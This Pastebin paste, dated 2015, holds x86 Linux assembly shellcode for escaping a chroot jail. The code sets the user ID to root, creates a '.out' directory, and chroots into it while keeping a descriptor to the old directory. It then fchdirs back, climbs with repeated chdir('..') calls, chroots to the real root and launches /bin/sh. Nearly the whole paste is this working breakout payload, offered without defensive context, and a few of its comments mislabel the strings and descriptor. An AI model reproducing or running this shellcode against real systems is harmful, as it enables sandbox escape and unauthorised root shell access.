Advertisement
GoodiesHQ

Chroot Escape (Complete... but not Optimized)

Oct 26th, 2015
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. global _start
  2. _start:
  3.     xor eax, eax
  4.     xor ebx, ebx
  5.     xor ecx, ecx
  6.     xor edx, edx
  7.  
  8.     mov al, 213 ;// Syscall for SETUID
  9.             ;// EBX is 0 for setuid(0)
  10.     int 80h
  11.  
  12.     xor eax, eax
  13.     mov al, 39  ;// Syscall for MKDIR
  14.     push ecx    ;// push 0x000000 for null terminator
  15.     push 0x74756f2e ;// ".out" in reverse
  16.     mov ebx, esp    ;// pointer to ".out" folder string
  17.     mov cx, 755o    ;// rwxr-xr-x
  18.     int 80h
  19.  
  20.     xor eax, eax
  21.     xor ecx, ecx    ;// O_RDONLY (000000000)
  22.     mov al, 0x2e    ;// Open "." string
  23.     push eax    ;// Push "\x00\x00\x00." onto stack
  24.     mov ebx, esp    ;// Set EBX to the string pointer
  25.     mov al, 5   ;// Syscall for open
  26.     int 80h
  27.  
  28.     mov esi, eax    ;// Move File Descriptor into ESI for later
  29.     xor eax, eax
  30.     push ecx    ;// push 0x000000 for null terminator
  31.     push 0x74756f2e ;// ".out" in reverse
  32.     mov ebx, esp    ;// pointer to ".out" folder string
  33.     mov al, 61  ;// Syscall for CHROOT
  34.     int 80h
  35.  
  36.     xor eax, eax
  37.     mov ebx, esi    ;// move ".out" FD into EBX
  38.     mov al, 133 ;// Syscall for FCHDIR
  39.     int 80h
  40.    
  41.     xor eax, eax
  42.     mov al, 6   ;// Syscall for CLOSE
  43.     mov ebx, esi
  44.     int 80h
  45.  
  46.     xor eax, eax
  47.     mov ax, 0x2e2e  ;// move ".." to stack
  48.     push eax
  49.     mov ebx, esp
  50.     mov cx, 1000    ;// loop 1000 times
  51. loop1:  xor eax, eax
  52.     mov al, 12  ;// Syscall for CHDIR
  53.     int 80h
  54.     dec ecx
  55.     jnz loop1
  56.  
  57.     mov cl, 0x2e    ;// Set ECX to "."
  58.     push ecx    ;// Push "." onto stack
  59.     mov ebx, esp    ;// Pointer to ".out" folder string
  60.     mov al, 61  ;// Syscall for CHROOT
  61.     int 80h
  62.  
  63.     xor eax, eax
  64.     push eax
  65.     push 0x68732f6e
  66.     push 0x69622f2f
  67.     mov ebx, esp
  68.     push eax
  69.     mov edx, esp
  70.     push ebx
  71.     mov ecx, esp
  72.     mov al, 11  ;// Syscall for EXECVE
  73.     int 80h
  74.  
  75.     xor eax, eax
  76.     xor ebx, ebx
  77.     mov al, 1
  78.     int 80h
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement